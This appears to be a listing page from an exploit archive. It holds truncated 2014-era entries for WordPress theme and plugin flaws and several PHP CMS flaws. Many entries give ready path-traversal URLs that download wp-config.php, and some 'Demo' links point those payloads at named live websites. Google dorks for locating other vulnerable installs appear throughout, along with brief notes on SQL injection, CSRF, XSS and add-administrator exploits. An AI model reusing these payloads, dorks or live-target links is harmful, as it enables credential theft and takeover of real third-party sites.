WordPress Theme Konzept Arbitrary File Upload Vulnerability

Exploit for php platform in category web applications Exploit Title : WordPress Theme Konzept Arbitrary File Upload Vulnerability Exploit Author : NULLPointer Contact : https://www.facebook.com/xenith.gianni Date : 19/09/2014 Vendor Homepage :...

WordPress Theme Centum Arbitrary File Download Vulnerability

WordPress Theme Centum effected with Arbitrary File Download Vulnerability POC http://127.0.0.1/wp-admin/admin-ajax.php?action=revslidershowimage&img=LFD Google Dork :inurl:wp-content/themes/centum Demo sites...

WordPress Theme X Arbitrary File Download Vulnerability

WordPress Theme X suffers from Arbitrary File Download Vulnerability Exploit : http://127.0.0.1/wp-admin/admin-ajax.php?action=revslidershowimage&img=LFD Google Dork : inurl:wp-content/themes/x Demo Sites :...

WordPress Theme Jupiter Arbitrary File Download Vulnerability

WordPress Theme Jupiter suffers from Arbitrary File Download Vulnerability Exploit : http://127.0.0.1/wp-admin/admin-ajax.php?action=revslidershowimage&img=LFD Google Dork : inurl:wp-content/themes/jupiter Demo sites:...

WordPress 0day - Hades Plus Framework Add Administrator

Exploit for php platform in category web applications Exploit Title : WordPress 0day - Hades Plus Framework Add Administrator Exploit Author : NULLPointer Date : 18/09/2014 Version: 6.2 Tested on : Linux, Windows 7 -------------------------------------------------------------- WordPress Hades...

WordPress Theme Celestial-Lite Arbitrary File Download Vulnerability

WordPress Theme celestial-lite suffers from Arbitrary File Download Vulnerability. POC :http://127.0.0.1/wp-admin/admin-ajax.php?action=revslidershowimage&img=LFD Google Dork : inurl:wp-content/themes/celestial-lite Demo :...

Wordpress Plugin FormCraft Premium Arbitrary File Deletion

The FormCraft v2.0.5 is a feature rich WordPress plug-in that provides you the perfect platform for creating the multiple forms with so many specific fields that supports retina graphics. It incorporates tons of styling options, Form validation, GUI form builder, custom widgets; support multiple...

WordPress SMWF Theme Arbitrary File Download Vulnerability

Exploit for php platform in category web applications POC : http://localhost/wp-content/themes/SMWF/inc/download.php?file=../wp-config.php Demo : http://jaarverslag.smwf.nl/2013/wp-content/themes/SMWF/inc/download.php?file=2013/wp-config.php --------------------------------------- Greetz to : All...

Travel Portal II 6.0 Cross Site Request Forgery

Travel Portal II 6.0 - CSRF Admin Password Change PoC Exploit My + Author : KnocKout Contactonlymail : [email protected] HomePage : http://Cyber-Warrior.Org - http://h4x0resec.blogspot.com - http://www.cyber-warrior.org/100379 Greetz:...

WordPress yakimabait Theme Arbitrary File Download Vulnerability

Exploit for php platform in category web applications Poc : http://localhost/wp-content/themes/yakimabait/download.php?file=./wp-config.php Demo : http://www.yakimabait.com/wp-content/themes/yakimabait/download.php?file=./wp-config.php --------------------------------------- Greetz to : All...

WordPress TheLoft Theme Arbitrary File Download Vulnerability

Exploit for php platform in category web applications Poc: http://localhost/wp-content/themes/TheLoft/download.php?file=../../../wp-config.php Demo: http://909lifefm.com/wp-content/themes/TheLoft/download.php?file=../../../wp-config.php --------------------------------------- Greetz to : All...

WordPress Markant Theme Arbitrary File Download Vulnerability

Exploit for php platform in category web applications Poc: http://localhost/wp-content/themes/markant/download.php?file=../../wp-config.php Demo: http://www.markant.org/wp-content/themes/markant/download.php?file=../../wp-config.php --------------------------------------- Greetz to : All Egy-Shel...

WordPress MichaelCanthony theme Arbitrary File Download Vulnerability

Exploit for php platform in category web applications Date: 2014-09-11 Google Dork : inurl:/wp-content/themes/MichaelCanthony/ Exploit Author: Mr.Doel Vendor Homepage: http://michaelcanthony.com Tested on: Windows 7 & Linux POC :...

Wordpress shorttermbraces theme Arbitrary File Download Vulnerability

Exploit for php platform in category web applications POC : http://localhost/wp-content/themes/shorttermbraces/download.php?filename=../wp-config Demo : www.shorttermbraces.com/wp-content/themes/shorttermbraces/download.php?filename=../wp-config 0day.today 2018-03-13...

WordPress Trinity Theme Arbitrary File Download

Exploit Title: Wordpress Trinity theme Arbitrary File Download Vulnerability Date: 9/10/2014 Google Dork : inurl:/wp-content/themes/trinity/lib Exploit Author: Mr.Doel Vendor Homepage: https://churchthemes.net/themes/trinity/ Tested on: Windows 7 POC :...

PhpOnlineChat 3.0 - XSS Vulnerability

Exploit for php platform in category web applications Exploit Title: phponlinechat xss Date: 5/9/2014 Exploit Author: N0 Feel Vendor Homepage: http://phponlinechat.com/phpchat Software Link: http://phponlinechat.com/chat-free-download.php Version: 3.0 Tested on: win7 php online chat suffer from x...

WordPress ShortCode 0.2.3 Local File Inclusion

Title : WordPress ShortCode Plugin - Local File Inclusion Vulnerability Severity : High+/Critical Reporters : Mehdi Karout & Christian Galeone Google Dork : inurl:wp/wp-content/force-download.php Plugin Version : 0.2.3 Plugin Name : Download ShortCode Vendor Home : http://werdswords.com/ Date :...

frcms 多处注入 (demo成功)

简要描述： rt 详细说明： 在plus/onlinepay/alipaynotify.php中 $signtype = "MD5"; //加密方式 不需修改 $alipay = new alipaynotify$partner,$securitycode,$signtype,$inputcharset,$transport; //构造通知函数信息 $verifyresult = $alipay-notifyverify; //计算得出通知验证结果 $dingdan = $outtradeno; //获取支付宝传递过来的订单号 $total =...

LY Website CMS SQL Injection

Title: LY Website CMS Sql Injection vulnerability + Date: 2014-08-15 + Author: Iran Security Group + Vendor Homepage: http://www.lywebsite.com/ + Tested on: Windows7 & Kali Linux + Vulnerable Files: /pro.php + Dork : inurl:/pro.php?CateId= intext:"Power By LY Website" POC:...

GEL CMS 4.0 SQL Injection Vulnerability

GEL CMS version 4.0 suffers from a remote SQL injection vulnerability that allows for login bypass. ad8888888888ba Bypass super-Admin GEL4.0 dP' "8b, 8 ,aaa, "Y888a ,aaaa, ,aaa, ,aa, 8 8' 8 "8baaaad""""baaaad""""baad""8b 8 8 8 """" """" "" 8b 8 8, ,8 ,aaaaaaaaaaaaaaaaaaaaaaaaddddd88P 8 """' ,d8""...